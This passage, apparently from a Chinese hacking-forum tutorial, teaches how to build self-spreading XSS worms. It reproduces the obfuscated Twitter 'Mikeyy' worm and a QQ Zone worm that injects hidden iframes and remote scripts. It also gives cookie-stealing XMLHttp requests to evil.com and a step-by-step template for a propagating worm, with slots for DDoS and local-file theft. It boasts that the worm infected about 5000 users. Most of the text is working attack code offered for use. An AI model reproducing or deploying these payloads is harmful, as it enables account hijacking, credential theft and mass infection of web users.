XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

# W' {8 u+ H. m4 NXmlHttp.send(null);
* p; |3 l% B; ^/ `
; p& n( I/ G. e+ k2 H! K</script>
6 p" ^5 c0 ?! k复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
+ @$ K3 c, @; a- o$ l5 g  e. h
' n6 T5 X/ E7 {9 I" w9 ?6 Fvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; O# \& p# F6 D2 O: Y


0 `" w5 F" i; }6 gXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

0 r: F; u  `3 B+ c( wXmlHttp.send(null);

9 d% ?* j2 v$ N5 l# Q, ]<script>
' b" k; K8 N$ q6 q1 T; \复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

  _- z+ f+ d" b; A6 天前 08:27

. M$ {) \1 P2 `# g% q第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

$ ~& b( U9 B) @( N4 c, @- c   3. function XHConn(){  
/ {- _% s: D; Y, J  K0 k, P4 ]
   4.   var _0x6687x2,_0x6687x3=false;  

6 M$ q6 ^5 F. D' G   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

6 X6 A- F. s6 W: Z  Z6 ]   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
& [- L0 _+ o- y6 t7 s5 m9 A
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
9 }7 C: Y6 A$ M; U
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
. N! [& t% b6 _0 b% V) m1 ^3 M
   2.   var content = document.documentElement.innerHTML;  
0 y3 S  a  n7 O% I6 s$ I
   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

( `6 M' I/ v/ O8 F5 ]   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
4 J7 w* T" Y8 a3 ]9 C
   6.   var authtoken=authreg.exec(content);  
4 h6 ^0 i+ u% Z- n( @. n- l6 [
   7.   var authtoken=authtoken[1];  

: f( p" \5 q4 y9 }- V   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

7 `9 ~; A7 g' A( m/ _  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

! z6 L  }, d/ n" a  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

: E- [5 u8 v' z/ O  y. A  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
# r. a' \3 p9 q, K4 M  z; a1 {
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
# h4 u* {; D( ^
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

6 V- D0 c6 [7 x6 M( W  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
( T( O. B! [9 H6 P; I
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

% m8 v5 D2 p# b0 y! E/ A5 s  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
# i2 ^. K/ q2 g# q* ?
( e3 y; h: K$ \. C; m  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
1 z, m+ t6 x# B$ N- j
  27.     
, E+ V  ?/ X1 C' E
  28.   var ajaxConn= new XHConn();  
' R* Y* u3 |6 d6 P+ \
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

1 l# j6 ^( K5 e: q9 i/ U  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
$ b9 A" F( \) T* ]7 }/ u
7 f% g0 [! z3 A& |8 O  32.   var ajaxConn1= new XHConn();  

+ e5 B$ f7 S+ j5 \  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
6 |+ V  D6 b6 V2 D" Z
0 l; v' j* _% c1 \  U  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
  y6 [- t! ~% q) t8 r# T
  35.   var XSS=urlencode(genXSS);  

" S# f( _* e" W  n8 T& m8 X  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
) y! j* ?" t2 Z* Q& [5 ]
  38.     
/ Q" p0 |9 ]$ C( |. B1 e
  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;


  p. O- w8 ?3 t4 W
& E% L% f9 I. ^$ Z* cvar shendu;shendu=4;
: Z- u6 E, v9 {* R
//---------------global---v------------------------------------------

7 m5 c7 c: k. f+ B" X4 a: t+ {7 S//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
9 ^( C# c) g0 d
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

/ s" Y/ W. a' a; A$ @9 Pvar myblogurl=new Array();var myblogid=new Array();

. G! K8 K7 a% M2 x2 a/ d! ^$ ]7 h        var gurl=document.location.href;

% _2 p- n! _5 _2 @6 o8 V' {        var gurle=gurl.indexOf("com/");
. ^4 ?) q4 u; F! N, o8 Y9 w- p+ V3 O
        gurl=gurl.substring(0,gurle+3);        

: o4 C; ~4 Y$ w/ p# v# k        var visitorID=top.document.documentElement.outerHTML;
( d! G: f, {* h
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
# Z- r& B" _6 M1 |0 H) z
        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
" [$ Y/ f: x2 L/ T$ _: R) ?- i
# o+ X+ w7 J  e0 [, w9 T7 s        get_my_blog(visitorID);
5 }% B* D+ l$ T; _; Y: V
, X4 j7 T+ \  c& f" s( p$ q        DOshuamy();

) o3 p0 z: d" \" ?% F. w
9 n1 D' \" j9 n/ b1 a/ j
//挂马
5 ~& l8 N! g# P& Y) k( b) ?
function DOshuamy(){
) `) a1 {& B( |/ `, f8 a
var ssr=document.getElementById("veryTitle");

5 r4 m4 b$ d! j" Assr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
! u9 g0 i7 j* M/ H) L, i3 [


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

4 Q9 Z4 n* r+ v) L6 g1 r- ifunction get_my_blog(visitorID){

) `: o) @* L. u5 a   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 Y# b$ i3 w: N* S% @4 `1 x  |
   if(xhr){    //成功就执行下面的

* [4 Y, |8 R- y8 S* Y     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
- {: ~# L' S. i, w3 w. c
     xhr.send();guest=xhr.responseText;
  n# }9 J' |5 T, v% W: {
- f8 V* G* |  s# ~, l  v2 V     get_my_blogurl(guest);    //执行这个函数
) e3 J7 J9 o8 `9 Y9 R6 f4 C- }
, Z; u- o4 [4 y& V* F# [- a. p    }

}

# I. i: ?4 F1 u' G: U, B  {

- C& y5 Z( w4 l5 |9 y/ y//这里似乎是判断没有登录的

function get_my_blogurl(guest){

* U5 o: {0 W8 [' i8 K2 m  var mybloglist=guest;
$ U1 G& z9 C6 U; t3 I
  var myurls;var blogids;var blogide;
" q! H( \6 b% p- `% A3 o. F' j
  for(i=0;i<shendu;i++){
! ^& z; L$ _% M3 C) a
  i! H" L" A' q' D/ H3 L0 s4 Q: c, P! R     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
( `9 {+ H( ]6 f3 M/ V+ @( u
: p! K7 F! s+ ^/ J3 N% C: d- n     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
( ?( G1 Y/ J6 f0 }- l( `
         myurls=mybloglist.indexOf(')');

) A1 o1 M# C& Y; j         myblogid=mybloglist.substring(0,myurls);

9 Q1 Y4 Y3 y0 S7 N( X5 ?1 j        }else{break;}
% @9 Y: s- z9 u% x
; A$ m! E6 }% z9 K" D- Q, \0 a4 Q' p! ^}

get_my_testself();    //执行这个函数
8 ~# W" ^) d, W2 K/ U
7 Y2 x* T) i4 J}
& M6 P3 k+ P; R" B( Q# f
8 V; q& y- S3 q
: m. I2 R) D0 B
//这里往哪跳就不知道了

5 N4 ~% W7 e8 d, E5 Rfunction get_my_testself(){
+ p, k, y% ]5 b3 Z+ E) `4 T1 {1 J
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
$ S- A. d. `3 A5 s
: l# h& ?$ d7 R      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
! q: |& i8 p* ~* X/ j; l
# P# m0 L% c, G8 F5 J- i      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
* ~: A  p( Q+ L
8 D$ H# ~6 @+ G+ }% L' @      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
9 _; E: I) _0 ^, D# V9 |
              xhr2.send();

              guest2=xhr2.responseText;
) U! W6 G/ `  }+ i5 t
  w# c! W# ~* Q, U              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
. _6 {4 n& `% F6 I$ Q# r5 u  Z3 S' u
) P$ _- o6 e# ]# V. y5 L              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
2 E9 o+ H6 {" ?. K  u* k; g* v
; N7 K/ r) R6 h8 P6 u                targetblogurlid=myblogid;   

9 P; w; d3 `2 z6 J                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
3 G7 ~9 c& W. g
                break;

- u8 }# e* x1 I' N# r               }
1 _, M5 T0 u# k. {
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
: t. R* X2 ]( _  x6 ]: q/ \
                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
# X" y$ b4 F" F7 b
               }
; R- E9 A) s2 B# y: {/ n
        }      

6 k- x6 h$ Z) S* Z$ t}
+ ~) n/ G! A2 T( M( d% Y9 h* {
" i- Y5 _5 P; b. J+ M' A}
, n/ ~/ y$ H. X) \; L* j; U: F9 O" r
& x( E* X" t# |/ e  {: Q
4 g6 `( F/ ^8 V3 Z
" g4 P1 I7 G, J# _//--------------------------------------  
4 B# p4 o0 O' n" q! ]
//根据浏览器创建一个XMLHttpRequest对象
7 \2 u7 U. y, V0 h0 u7 I$ d2 d% ^& M5 }
; W8 X& b* ~4 jfunction createXMLHttpRequest(){
3 e4 V" }' }* U5 W* ^0 z' k) x
    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
& K3 v5 Q9 Z& e7 \( A
    else  

( A( b6 K2 A" i      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
; _$ ]4 N& E7 Z3 [8 d6 {% G
# b- ^" q1 n0 I' F        for(var i=0;i<MSXML.length;i++)  
+ V7 L# D7 }; P0 J5 m* \
# d9 l* z% I8 G        {  
. {  `  J) P9 G% ?% y) U
            try  
" }  K4 E) D& I+ ^5 \7 g
, S2 v; c1 r! g* S            {  
  m9 T5 w5 r! q3 ]6 [
                XMLhttpObject=new ActiveXObject(MSXML);  

1 {4 n2 T) @& {  C                break;  

% S# I) j5 d0 U; h3 s            }  
, }( j# l; z! e, R+ O% H  g1 L! @
            catch (ex) {  

            }  
- B: \! `. D8 k* }- `5 A" N. H
         }  

      }
; W) d/ w$ `/ |
( ~5 T8 s% s& lreturn XMLhttpObject;

}  
( d1 R3 e8 \( i1 e$ o( s

* F- X$ Z  x9 b+ C& d
! m8 k5 G. y3 f# g//这里就是感染部分了
# l& V* ]6 G1 a
function add_js(visitorID,targetblogurlid,gurl){

! q! w! P2 j! {9 j' {; jvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
* S, a- B. _" o. {' \9 I
. H* X: K% a8 b# Ddocument.getElementsByTagName('head').item(0).appendChild(s2);
' |  S2 l# J9 d* x
}
  w- v! j9 n! z. D


  S& H  Y0 H; L3 T, f/ w9 Pfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
- P4 t0 ~' v( q" T( a
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
2 O/ X3 S% P' o2 C
, `0 x' G' @# O, y0 ]document.getElementsByTagName('head').item(0).appendChild(s2);
5 G0 I$ F/ X5 F6 }
& H5 y8 I9 }1 q: [}
: E7 d+ @2 z  H: m9 d复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
6 Z4 c" i7 z; Y+ U2 n! f/ F, O6 f. O
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
& S' G" _, U" B  i1 b
" j" A+ W2 [$ v# i' \
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
: n* T( C7 U2 X  k7 Y9 I6 n0 z* Z
if(window.XMLHttpRequest) {

- j3 F- e( ?' L- `$ Arequest = new XMLHttpRequest();
( L  L/ P3 _4 Q3 w  e9 h' B
if(request.overrideMimeType) {

6 _& Z' ^; W0 _" F0 _request.overrideMimeType('text/xml');
. w9 {8 h$ r; J! U7 t5 T
}
* n- J0 K5 D! {7 l5 G* {& e5 n  A
5 j" b! Q) n, i% m} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 F6 p3 n7 M- _( I* S/ Q! s# |
for(var i=0; i<versions.length; i++) {

try {
- W# M/ E& z9 a: k3 d2 _, e
request = new ActiveXObject(versions);

2 Q0 k! `& [1 c- ^8 I0 Q6 D9 E8 ~$ f' {} catch(e) {}
" s) l# M8 K+ R' p
}
4 @  m6 e# d3 Q% q: s
: y6 N7 ^5 b9 _; k' M8 T. d1 O1 r9 f}
0 o: o! R8 w' l, [% z# |" i2 E; [6 k
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
) B7 G2 a7 P& X( t+ i0 O) u
% T2 p, B2 ~! m        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

- q4 g6 ?3 _; t; B' ^6 g4 Y, Y5 n1 u        var Browser_Agent=navigator.userAgent;
6 v* h. b/ R/ \
8 v) H9 T& L& Y; h+ B; {        
: v; l7 v* i. i; i' K7 V
" X7 y0 ]$ A* B* v, \        var Actual_Version,Actual_Name;

9 y& S: V2 O: @* S' w3 T        

7 m0 j: n2 F7 `9 r        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
- h$ \- |2 ^7 N6 @
  ?: l  l2 Q. R) J        var is_NN=(Browser_Name=="Netscape");

1 o7 K* r+ T" J( \( s        var is_Ch=(Browser_Name=="Chrome");

        
# G8 O# o6 n5 d  }5 |& U/ Q
        if(is_NN){

3 r6 C& h; b! t            if(Browser_Version>=5.0){
7 q( U4 X2 O% [; n7 a
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
, y* n* M8 x. c& w. Q
9 F. j0 n7 [' h+ Y% e4 g; S* a

$ n  L: B  R; p, Q5 H8 x                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
7 [7 ]6 F" `+ ~7 Q
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
$ m1 R! q9 e0 i+ `( s
            }
% r$ b1 R" E: k5 u4 k
2 B. `& t! z. }0 V0 i            else{

                Actual_Version=Browser_Version;
8 m$ k4 |3 ~+ i* \( w. G7 B
; ]5 m  B/ I6 I4 Q" R* d                Actual_Name=Browser_Name;

            }

        }

8 U/ s" q! p8 {/ H0 h. `7 Q        else if(is_IE){

1 f/ k! C  q2 P, k7 y            var Version_Start=Browser_Agent.indexOf("MSIE");
* ^) r# d; O+ M  [* G6 w- m- j
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
+ X) N  O3 H; D' Z2 m/ I  V5 |/ h
            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
5 U$ J% D2 I+ A$ G! K) B; s" N+ O
            }
- Q4 M6 J0 S+ D1 ?) j8 L' \
9 N: }7 O& z! n. ^) G& Q0 ^            else if(Browser_Agent.indexOf("Opera")!=-1){
4 @9 [1 \. @/ R  j$ e, K
- A1 m- ?+ t& j2 G1 e8 H- U# y                Actual_Name="Opera";
3 i9 ]9 Y. p4 o$ _4 Y
                var tempstart=Browser_Agent.indexOf("Opera");
0 B* V' D; Y0 [' }" Q. X; a, H
- h: c2 Z( a; p! _/ y                var tempend=Browser_Agent.length;
5 {8 M6 P8 X2 b* ]8 o
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

2 S- I* _- ^& F4 j1 t! W2 {        }
% K9 D# y* Y& i) k5 F3 x
        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
1 W/ h$ _2 j8 l* w5 ?% N; R3 c# o
  s# s% W: h  o8 o% u  R            var Version_End=Browser_Agent.indexOf(";",Version_Start);

( A. S1 \' I8 ~) {; T2 P% w5 O. `3 F            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

& o" E' p3 d4 B            Actual_Name=Browser_Name;

            

7 N6 ~0 P# K% r& q! e            if(Browser_Agent.indexOf("Maxthon")!=-1){

& ?4 [/ k2 |2 `                Actual_Name+="(Maxthon)";
* H- M4 L1 @) \3 }
9 I2 S8 z) _" C8 d+ J5 P' M1 s            }
8 ^  i. i* d, Z3 ^& [
. B" }- ]  k+ N  o3 k1 Y            else if(Browser_Agent.indexOf("Opera")!=-1){
+ t7 u9 C, ^" O) D8 F9 c4 a1 w
! L1 Q4 X. b; q$ a: t5 X                Actual_Name="Opera";
1 D) L6 G5 K& H" [* f1 Y( S9 j' A
                var tempstart=Browser_Agent.indexOf("Opera");

9 Z! G0 }9 z1 C' P8 f2 y+ A0 Z                var tempend=Browser_Agent.length;

5 @/ A7 w( X6 y1 }' n. g                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 o# M. {# v1 u9 W2 [0 Q
1 Z) ^! }5 @# A, g            }

        }

$ q+ x7 R1 T. W; g6 ?        else{
7 [- Y) Q  U) l
* y) A1 a' h: U7 E            Actual_Name="Unknown Navigator"

% |8 B$ d& ~! |4 L7 H$ D) ?            Actual_Version="Unknown Version"
, o6 I; e& s& d/ Q4 t. m
        }
8 `  O" H: M' ^
2 u+ P% _( \$ f( x' n+ z: o. I

        navigator.Actual_Name=Actual_Name;

9 D3 o* {/ w% J4 [% X6 p6 j8 R- u        navigator.Actual_Version=Actual_Version;
$ y0 J" }6 n$ s" h9 |5 I! [# o
        

) F: H( @7 J$ N/ `; p        this.Name=Actual_Name;

        this.Version=Actual_Version;
9 S4 r$ _; B% ^% @3 A
% |4 i% n6 U; [5 k' b    }

% D$ L) C1 o' r) C# J. L2 I    browserinfo();

: i+ f. G' {; p    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
9 s- @, t6 b9 E) r
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
( `1 ?7 Z9 W5 O$ _. [
0 r. C0 U. f" t    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
7 v  O  f8 m8 q! r) I, U
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
0 r# X3 t' @& T. y1 w- F3 s+ ?复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

- u. `. f# v% E: g; B. O4 U/ e6 exmlHttpReq.send(null);

1 O: b  U  @" k1 K& B) x, avar resource = xmlHttpReq.responseText;

5 j( m4 V3 ]+ z  ]4 }var id=0;var result;

% [; I: ?& L3 J" J. Y5 Lvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

/ W- Y# p' n+ Wno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
4 ]& ]$ [+ S: U: }8 S2 M4 A! v
- I' [6 a. X6 J) R9 m$ |9 Jvar post="wd="+wd;
; R' V, |; s. T: _
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
. U$ t- n, M* W1 t5 E* S
1 d2 T: l' R! R7 O- NxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
6 m9 K, y. C- J: s; V' Z
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
; _* Q+ A8 L, c' X) s: J
0 y7 w" |  Q: ^8 L6 [xmlHttpReq.send(post);

& `0 j; s* K& r( w# Y) O+ d}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  O$ V9 n) C; U3 b. m
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
6 p! Q5 M: W4 \" s7 T
8 W7 [1 z3 Q7 I8 V7 L! ^var post="wd="+wd;
+ A; H# }) ?8 }1 |. ~
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

8 h" t" R# `& z5 _1 u! @6 R) ]xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
) K% Q0 e" Z4 U( R- D  x
xmlHttpReq.setRequestHeader("content-length",post.length);

6 m5 J: X8 ~0 P2 v8 c6 G# rxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

8 @3 }+ ]: R# n# z5 m" V% \& \: l4 w; |xmlHttpReq.send(post);                 //把传播的信息 POST出去.
( l$ k: v) n3 P% R+ r
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
. q+ T) V: r* W. F$ w
8 h5 R7 }3 J+ z2 W( I

: I9 B/ H7 i& Z+ D本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
5 {) c+ I: Z3 S- h9 W4 y蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
- ?0 |7 p* H( c% F9 Q% d# s' \


/ y* G' J" n. S4 b( ?  A5 i% F
8 u  c* B( n1 n/ ]: P

2 n0 W" w2 v( {* d. _+ I, g
& g/ X; a: `/ a0 i) u
本文引用文档资料:

6 Z, y2 ~( g! L" R3 U"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
2 F: r3 J3 V& L4 V& fOther XmlHttpRequest tricks (Amit Klein, January 2003)
3 V0 r( d, E/ V"Cross Site Tracing" (Jeremiah Grossman, January 2003)
$ ?. v" D3 f1 ~/ A+ m! l' ehttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
  @8 M6 j0 \3 F6 v: B  i" z; d空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
3 d" M; l& v) i. m1 c% a